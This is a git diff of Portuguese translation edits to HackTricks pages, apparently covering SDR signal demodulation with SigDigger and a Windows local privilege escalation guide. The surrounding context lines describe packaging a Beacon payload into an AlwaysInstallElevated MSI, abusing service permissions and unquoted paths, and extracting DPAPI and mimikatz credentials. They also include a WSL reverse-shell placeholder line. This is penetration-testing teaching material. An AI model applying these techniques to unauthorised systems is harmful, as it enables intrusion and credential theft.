- **Manual** significa que a taxa de símbolos indicada será usada
- Na **Seleção de intervalo fixo**, você indica o número de intervalos que devem ser selecionados e calcula a taxa de símbolos a partir disso
- **Recuperação de clock de Gadner** é geralmente a melhor opção, mas você ainda precisa indicar alguma taxa de símbolos aproximada.
+- **Manual** significa que a taxa de símbolos indicada será usada.
+- Na **Seleção de intervalo fixo**, você indica o número de intervalos que devem ser selecionados e ele calcula a taxa de símbolos a partir disso.
+- **Recuperação de clock de Gardner** é geralmente a melhor opção, mas você ainda precisa indicar alguma taxa de símbolos aproximada.

 Pressionando amostra, isso aparece:

@ -131,17 +133,19 @@ Agora, para fazer o SigDigger entender **onde está o intervalo** do nível que

 Se houvesse, por exemplo, **4 níveis diferentes de amplitude**, você precisaria configurar os **Bits por símbolo para 2** e selecionar do menor para o maior.

-Finalmente, **aumentando** o **Zoom** e **mudando o tamanho da Linha**, você pode ver os bits (e você pode selecionar tudo e copiar para obter todos os bits):
+Finalmente, **aumentando** o **Zoom** e **mudando o tamanho da linha**, você pode ver os bits (e pode selecionar tudo e copiar para obter todos os bits):

 ![](<../../images/image (276).png>)

-Se o sinal tiver mais de 1 bit por símbolo (por exemplo, 2), o SigDigger **não tem como saber qual símbolo é** 00, 01, 10, 11, então usará diferentes **escala de cinza** para representar cada um (e se você copiar os bits, usará **números de 0 a 3**, você precisará tratá-los).
+Se o sinal tiver mais de 1 bit por símbolo (por exemplo, 2), o SigDigger **não tem como saber qual símbolo é** 00, 01, 10, 11, então ele usará diferentes **escalas de cinza** para representar cada um (e se você copiar os bits, ele usará **números de 0 a 3**, você precisará tratá-los).

-Além disso, use **codificações** como **Manchester**, e **up+down** pode ser **1 ou 0** e um down+up pode ser um 1 ou 0. Nesses casos, você precisa **tratar os ups (1) e downs (0) obtidos** para substituir os pares de 01 ou 10 por 0s ou 1s.
+Além disso, use **codificações** como **Manchester**, e **up+down** pode ser **1 ou 0** e um down+up pode ser um 1 ou 0. Nesses casos, você precisa **tratar os ups obtidos (1) e downs (0)** para substituir os pares de 01 ou 10 por 0s ou 1s.

 ## Exemplo de FM

-{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
+{{#file}}
+sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
+{{#endfile}}

 ### Descobrindo FM

@ -151,15 +155,15 @@ Exemplo de sinal enviando informações moduladas em FM:

 ![](<../../images/image (725).png>)

-Na imagem anterior, você pode observar bem que **2 frequências estão sendo usadas**, mas se você **observar** a **forma de onda**, pode **não ser capaz de identificar corretamente as 2 frequências diferentes**:
+Na imagem anterior, você pode observar muito bem que **2 frequências estão sendo usadas**, mas se você **observar** a **forma de onda**, pode **não ser capaz de identificar corretamente as 2 diferentes frequências**:

 ![](<../../images/image (717).png>)

-Isso ocorre porque capturei o sinal em ambas as frequências, portanto, uma é aproximadamente a outra em negativo:
+Isso ocorre porque capturei o sinal em ambas as frequências, portanto uma é aproximadamente a outra em negativo:

 ![](<../../images/image (942).png>)

-Se a frequência sincronizada estiver **mais próxima de uma frequência do que da outra**, você pode ver facilmente as 2 frequências diferentes:
+Se a frequência sincronizada estiver **mais próxima de uma frequência do que da outra**, você pode ver facilmente as 2 diferentes frequências:

 ![](<../../images/image (422).png>)

@ -175,24 +179,24 @@ Neste caso, se você verificar o **histograma de Amplitude**, encontrará **apen

 ![](<../../images/image (817).png>)

-E este seria o histograma de fase (que deixa muito claro que o sinal não é modulado em fase):
+E este seria o histograma de fase (que deixa muito claro que o sinal não está modulado em fase):

 ![](<../../images/image (996).png>)

 #### Com IQ

-IQ não tem um campo para identificar frequências (distância ao centro é amplitude e ângulo é fase).\
-Portanto, para identificar FM, você deve **ver basicamente um círculo** neste gráfico.\
+IQ não tem um campo para identificar frequências (a distância ao centro é amplitude e o ângulo é fase).\
+Portanto, para identificar FM, você deve **ver basicamente apenas um círculo** neste gráfico.\
 Além disso, uma frequência diferente é "representada" pelo gráfico IQ por uma **aceleração de velocidade ao longo do círculo** (então, no SysDigger, selecionando o sinal, o gráfico IQ é populado; se você encontrar uma aceleração ou mudança de direção no círculo criado, isso pode significar que isso é FM):

 ![](<../../images/image (81).png>)

 ### Obter Taxa de Símbolos

-Você pode usar a **mesma técnica que a usada no exemplo de AM** para obter a taxa de símbolos uma vez que você tenha encontrado as frequências que carregam símbolos.
+Você pode usar a **mesma técnica que a utilizada no exemplo de AM** para obter a taxa de símbolos uma vez que você tenha encontrado as frequências que carregam símbolos.

 ### Obter Bits

-Você pode usar a **mesma técnica que a usada no exemplo de AM** para obter os bits uma vez que você tenha **descoberto que o sinal é modulado em frequência** e a **taxa de símbolos**.
+Você pode usar a **mesma técnica que a utilizada no exemplo de AM** para obter os bits uma vez que você tenha **descoberto que o sinal está modulado em frequência** e a **taxa de símbolos**.

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@ -114,7 +114,7 @@ Stop-Transcript

 Detalhes das execuções do pipeline PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e resultados de saída podem não ser capturados.

-Para habilitar isso, siga as instruções na seção "Arquivos de Transcrição" da documentação, optando por **"Registro de Módulo"** em vez de **"Transcrição do Powershell"**.
+Para habilitar isso, siga as instruções na seção "Arquivos de Transcrição" da documentação, optando por **"Registro de Módulo"** em vez de **"Transcrição do PowerShell"**.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
@ -171,14 +171,16 @@ Para explorar essas vulnerabilidades, você pode usar ferramentas como: [Wsuxplo

 Leia a pesquisa aqui:

-{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
+{{#file}}
+CTX_WSUSpect_White_Paper (1).pdf
+{{#endfile}}

 **WSUS CVE-2020-1013**

 [**Leia o relatório completo aqui**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
 Basicamente, esta é a falha que esse bug explora:

-> Se tivermos o poder de modificar nosso proxy de usuário local, e as Atualizações do Windows usam o proxy configurado nas configurações do Internet Explorer, portanto, temos o poder de executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado em nosso ativo.
+> Se temos o poder de modificar nosso proxy de usuário local, e as Atualizações do Windows usam o proxy configurado nas configurações do Internet Explorer, portanto, temos o poder de executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado em nosso ativo.
 >
 > Além disso, uma vez que o serviço WSUS usa as configurações do usuário atual, ele também usará seu armazenamento de certificados. Se gerarmos um certificado autoassinado para o nome do host WSUS e adicionarmos esse certificado ao armazenamento de certificados do usuário atual, seremos capazes de interceptar tanto o tráfego WSUS HTTP quanto HTTPS. O WSUS não usa mecanismos semelhantes ao HSTS para implementar uma validação de confiança na primeira utilização no certificado. Se o certificado apresentado for confiável pelo usuário e tiver o nome do host correto, será aceito pelo serviço.

@ -186,11 +188,11 @@ Você pode explorar essa vulnerabilidade usando a ferramenta [**WSUSpicious**](h

 ## KrbRelayUp

-Uma vulnerabilidade de **elevação de privilégio local** existe em ambientes **de domínio** do Windows sob condições específicas. Essas condições incluem ambientes onde **a assinatura LDAP não é aplicada,** os usuários possuem direitos próprios que lhes permitem configurar **Delegação Constrangida Baseada em Recursos (RBCD),** e a capacidade de os usuários criarem computadores dentro do domínio. É importante notar que esses **requisitos** são atendidos usando **configurações padrão**.
+Uma vulnerabilidade de **elevação de privilégio local** existe em ambientes **de domínio** do Windows sob condições específicas. Essas condições incluem ambientes onde **a assinatura LDAP não é aplicada,** os usuários possuem direitos próprios que lhes permitem configurar **Delegação Constrained Baseada em Recursos (RBCD),** e a capacidade de os usuários criarem computadores dentro do domínio. É importante notar que esses **requisitos** são atendidos usando **configurações padrão**.

 Encontre o **exploit em** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)

-Para mais informações sobre o fluxo do ataque, consulte [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
+Para mais informações sobre o fluxo do ataque, verifique [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)

 ## AlwaysInstallElevated

@ -235,7 +237,7 @@ create-msi-with-wix.md
 - Dê um nome ao projeto, como **AlwaysPrivesc**, use **`C:\privesc`** para o local, selecione **colocar solução e projeto no mesmo diretório**, e clique em **Create**.
 - Continue clicando em **Next** até chegar ao passo 3 de 4 (escolher arquivos para incluir). Clique em **Add** e selecione o payload Beacon que você acabou de gerar. Em seguida, clique em **Finish**.
 - Destaque o projeto **AlwaysPrivesc** no **Solution Explorer** e nas **Properties**, mude **TargetPlatform** de **x86** para **x64**.
- Existem outras propriedades que você pode alterar, como **Author** e **Manufacturer**, que podem fazer o aplicativo instalado parecer mais legítimo.
+- Existem outras propriedades que você pode alterar, como o **Author** e **Manufacturer**, que podem fazer o aplicativo instalado parecer mais legítimo.
 - Clique com o botão direito no projeto e selecione **View > Custom Actions**.
 - Clique com o botão direito em **Install** e selecione **Add Custom Action**.
 - Clique duas vezes em **Application Folder**, selecione seu arquivo **beacon.exe** e clique em **OK**. Isso garantirá que o payload beacon seja executado assim que o instalador for executado.
@ -255,7 +257,7 @@ Para explorar essa vulnerabilidade, você pode usar: _exploit/windows/local/alwa

 ### Configurações de Auditoria

-Essas configurações decidem o que está sendo **registrado**, então você deve prestar atenção
+Essas configurações decidem o que está sendo **registrado**, então você deve prestar atenção.
 ```
 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
 ```
@ -280,10 +282,10 @@ Se ativo, **senhas em texto simples são armazenadas no LSASS** (Local Security
 ```bash
 reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
 ```
-### LSA Protection
+### Proteção LSA

 A partir do **Windows 8.1**, a Microsoft introduziu uma proteção aprimorada para a Autoridade de Segurança Local (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, aumentando ainda mais a segurança do sistema.\
-[**Mais informações sobre a proteção LSA aqui**](../stealing-credentials/credentials-protections.md#lsa-protection).
+[**Mais informações sobre a Proteção LSA aqui**](../stealing-credentials/credentials-protections.md#lsa-protection).
 ```bash
 reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
 ```
@ -346,7 +348,7 @@ klist sessions
 dir C:\Users
 Get-ChildItem C:\Users
 ```
-### Política de Senha
+### Política de Senhas
 ```bash
 net accounts
 ```
@ -441,9 +443,9 @@ Você pode habilitá-lo usando
 sc config SSDPSRV start= demand
 sc config SSDPSRV obj= ".\LocalSystem" password= ""
 ```
-**Leve em conta que o serviço upnphost depende do SSDPSRV para funcionar (para XP SP1)**
+**Leve em consideração que o serviço upnphost depende do SSDPSRV para funcionar (para XP SP1)**

-**Outra solução alternativa** para este problema é executar:
+**Outra solução alternativa** para esse problema é executar:
 ```
 sc.exe config usosvc start= auto
 ```
@ -465,10 +467,10 @@ net stop [service name] && net start [service name]
 Os privilégios podem ser elevados através de várias permissões:

 - **SERVICE_CHANGE_CONFIG**: Permite a reconfiguração do binário do serviço.
- **WRITE_DAC**: Habilita a reconfiguração de permissões, levando à capacidade de alterar configurações de serviço.
+- **WRITE_DAC**: Habilita a reconfiguração de permissões, levando à capacidade de alterar configurações de serviços.
 - **WRITE_OWNER**: Permite a aquisição de propriedade e reconfiguração de permissões.
- **GENERIC_WRITE**: Herda a capacidade de alterar configurações de serviço.
- **GENERIC_ALL**: Também herda a capacidade de alterar configurações de serviço.
+- **GENERIC_WRITE**: Herda a capacidade de alterar configurações de serviços.
+- **GENERIC_ALL**: Também herda a capacidade de alterar configurações de serviços.

 Para a detecção e exploração dessa vulnerabilidade, o _exploit/windows/local/service_permissions_ pode ser utilizado.

@ -523,7 +525,7 @@ C:\Program.exe
 C:\Program Files\Some.exe
 C:\Program Files\Some Folder\Service.exe
 ```
-Liste todos os caminhos de serviço não entre aspas, excluindo aqueles que pertencem a serviços internos do Windows:
+Liste todos os caminhos de serviço não entre aspas, excluindo aqueles que pertencem a serviços do Windows integrados:
 ```powershell
 wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
 wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services
@ -680,7 +682,7 @@ wsl whoami
 wsl whoami
 wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
 ```
-Para iniciar facilmente o bash como root, você pode tentar `--default-user root`
+Para iniciar o bash como root facilmente, você pode tentar `--default-user root`

 Você pode explorar o sistema de arquivos `WSL` na pasta `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`

@ -727,7 +729,7 @@ Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/c

 ### DPAPI

-A **API de Proteção de Dados (DPAPI)** fornece um método para criptografia simétrica de dados, predominantemente utilizado dentro do sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia utiliza um segredo de usuário ou sistema para contribuir significativamente com a entropia.
+A **API de Proteção de Dados (DPAPI)** fornece um método para criptografia simétrica de dados, predominantemente utilizada dentro do sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia utiliza um segredo de usuário ou sistema para contribuir significativamente com a entropia.

 **A DPAPI permite a criptografia de chaves através de uma chave simétrica que é derivada dos segredos de login do usuário**. Em cenários que envolvem criptografia de sistema, utiliza os segredos de autenticação de domínio do sistema.

@ -745,7 +747,7 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
 Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 ```
-Você pode usar o **mimikatz module** `dpapi::cred` com o `/masterkey` apropriado para descriptografar.\
+Você pode usar o **mimikatz module** `dpapi::cred` com o apropriado `/masterkey` para descriptografar.\
 Você pode **extrair muitos DPAPI** **masterkeys** da **memória** com o módulo `sekurlsa::dpapi` (se você for root).

 {{#ref}}
@ -786,7 +788,7 @@ e em `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
 HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 ```
-### **Gerenciador de Credenciais de Área de Trabalho Remota**
+### **Gerenciador de Credenciais do Desktop Remoto**
 ```
 %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
 ```
@ -884,7 +886,7 @@ $ErrorActionPreference = $OrigError
 ### SCClient / SCCM

 Verifique se `C:\Windows\CCM\SCClient.exe` existe.\
-Instaladores são **executados com privilégios de SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Info de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
+Instaladores são **executados com privilégios de SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
 ```bash
 $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
 if ($result) { $result }
@ -914,7 +916,7 @@ Se o serviço `ssh-agent` não estiver em execução e você quiser que ele inic
 Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
 ```
 > [!NOTE]
-> Parece que esta técnica não é mais válida. Tentei criar algumas chaves ssh, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação de chave assimétrica.
+> Parece que essa técnica não é mais válida. Tentei criar algumas chaves ssh, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação de chave assimétrica.

 ### Arquivos não atendidos
 ```
@ -1050,7 +1052,7 @@ C:\inetpub\logs\LogFiles\*
 #Apache
 Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
 ```
-### Peça credenciais
+### Pedir credenciais

 Você pode sempre **pedir ao usuário para inserir suas credenciais ou até mesmo as credenciais de um usuário diferente** se você achar que ele pode conhecê-las (note que **pedir** diretamente ao cliente as **credenciais** é realmente **arriscado**):
 ```bash
@ -1182,7 +1184,7 @@ Para aprender como os atacantes usam o COM Hijacking como um mecanismo de persis
 com-hijacking.md
 {{#endref}}

-### **Busca Genérica de Senhas em Arquivos e Registro**
+### **Busca Genérica de Senhas em arquivos e registro**

 **Pesquisar por conteúdos de arquivos**
 ```bash
@ -1205,7 +1207,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
 ```
 ### Ferramentas que buscam por senhas

-[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um plugin msf** que eu criei para **executar automaticamente todos os módulos POST do metasploit que buscam por credenciais** dentro da vítima.\
+[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um plugin do msf** que eu criei para **executar automaticamente todos os módulos POST do metasploit que buscam por credenciais** dentro da vítima.\
 [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) busca automaticamente por todos os arquivos contendo senhas mencionados nesta página.\
 [**Lazagne**](https://github.com/AlessandroZ/LaZagne) é outra ótima ferramenta para extrair senhas de um sistema.

@ -1225,11 +1227,11 @@ Então, se você tiver **acesso total ao processo de baixo privilégio**, você

 ## Named Pipe Client Impersonation

-Segmentos de memória compartilhada, referidos como **pipes**, permitem comunicação entre processos e transferência de dados.
+Segmentos de memória compartilhada, referidos como **pipes**, permitem a comunicação entre processos e a transferência de dados.

 O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, mesmo através de diferentes redes. Isso se assemelha a uma arquitetura cliente/servidor, com papéis definidos como **servidor de pipe nomeado** e **cliente de pipe nomeado**.

-Quando dados são enviados através de um pipe por um **cliente**, o **servidor** que configurou o pipe tem a capacidade de **assumir a identidade** do **cliente**, assumindo que ele tenha os direitos necessários de **SeImpersonate**. Identificar um **processo privilegiado** que se comunica via um pipe que você pode imitar oferece uma oportunidade para **obter privilégios mais altos** ao adotar a identidade desse processo uma vez que ele interaja com o pipe que você estabeleceu. Para instruções sobre como executar tal ataque, guias úteis podem ser encontrados [**aqui**](named-pipe-client-impersonation.md) e [**aqui**](#from-high-integrity-to-system).
+Quando os dados são enviados através de um pipe por um **cliente**, o **servidor** que configurou o pipe tem a capacidade de **assumir a identidade** do **cliente**, assumindo que ele tenha os direitos necessários de **SeImpersonate**. Identificar um **processo privilegiado** que se comunica via um pipe que você pode imitar oferece uma oportunidade para **obter privilégios mais altos** ao adotar a identidade desse processo uma vez que ele interaja com o pipe que você estabeleceu. Para instruções sobre como executar tal ataque, guias úteis podem ser encontrados [**aqui**](named-pipe-client-impersonation.md) e [**aqui**](#from-high-integrity-to-system).

 Além disso, a seguinte ferramenta permite **interceptar uma comunicação de pipe nomeado com uma ferramenta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e esta ferramenta permite listar e ver todos os pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)

@ -1299,7 +1301,7 @@ Você tem todos os arquivos e informações necessários no seguinte repositóri

 https://github.com/jas502n/CVE-2019-1388

-## De Nível de Integridade Médio de Administrador para Alto / Bypass de UAC
+## De Nível de Integridade Médio para Alto / Bypass de UAC

 Leia isto para **aprender sobre Níveis de Integridade**:

@ -1313,11 +1315,11 @@ Então **leia isto para aprender sobre UAC e bypasses de UAC:**
 ../authentication-credentials-uac-and-efs/uac-user-account-control.md
 {{#endref}}

-## **De Alta Integridade para Sistema**
+## **De Alto Nível de Integridade para Sistema**

 ### **Novo serviço**

-Se você já estiver executando em um processo de Alta Integridade, o **passo para SYSTEM** pode ser fácil apenas **criando e executando um novo serviço**:
+Se você já estiver executando um processo de Alto Nível de Integridade, o **passo para SYSTEM** pode ser fácil apenas **criando e executando um novo serviço**:
 ```
 sc create newservicename binPath= "C:\windows\system32\notepad.exe"
 sc start newservicename
@ -1334,7 +1336,7 @@ De um processo de Alta Integridade, você pode tentar **habilitar as entradas de
 ### From SeDebug + SeImpersonate to Full Token privileges

 Se você tiver esses privilégios de token (provavelmente você encontrará isso em um processo de Alta Integridade já existente), você poderá **abrir quase qualquer processo** (processos não protegidos) com o privilégio SeDebug, **copiar o token** do processo e criar um **processo arbitrário com esse token**.\
-Usar essa técnica geralmente **seleciona qualquer processo em execução como SYSTEM com todos os privilégios de token** (_sim, você pode encontrar processos SYSTEM sem todos os privilégios de token_).\
+Usar essa técnica geralmente é **selecionar qualquer processo em execução como SYSTEM com todos os privilégios de token** (_sim, você pode encontrar processos SYSTEM sem todos os privilégios de token_).\
 **Você pode encontrar um** [**exemplo de código executando a técnica proposta aqui**](sedebug-+-seimpersonate-copy-token.md)**.**

 ### **Named Pipes**
@ -1345,7 +1347,7 @@ Se você quiser ler um exemplo de [**como ir de alta integridade para System usa

 ### Dll Hijacking

-Se você conseguir **sequestrar uma dll** sendo **carregada** por um **processo** em execução como **SYSTEM**, você poderá executar código arbitrário com essas permissões. Portanto, o Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é **muito mais fácil de conseguir a partir de um processo de alta integridade**, pois terá **permissões de escrita** nas pastas usadas para carregar dlls.\
+Se você conseguir **sequestar uma dll** sendo **carregada** por um **processo** em execução como **SYSTEM**, você poderá executar código arbitrário com essas permissões. Portanto, o Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é **muito mais fácil de conseguir a partir de um processo de alta integridade**, pois terá **permissões de escrita** nas pastas usadas para carregar dlls.\
 **Você pode** [**saber mais sobre Dll hijacking aqui**](dll-hijacking/index.html)**.**

 ### **From Administrator or Network Service to System**
@ -1377,7 +1379,7 @@ https://github.com/sailay1996/RpcSsImpersonator
 [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Pulveriza senhas coletadas pelo domínio**\
 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é um spoofador e ferramenta man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
 [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica de privesc do Windows**\
-[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades conhecidas de privesc (DEPRECATED para Watson)\
+[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades conhecidas de privesc (DEPRECADO para Watson)\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Verificações locais **(Necessita de direitos de Admin)**

 **Exe**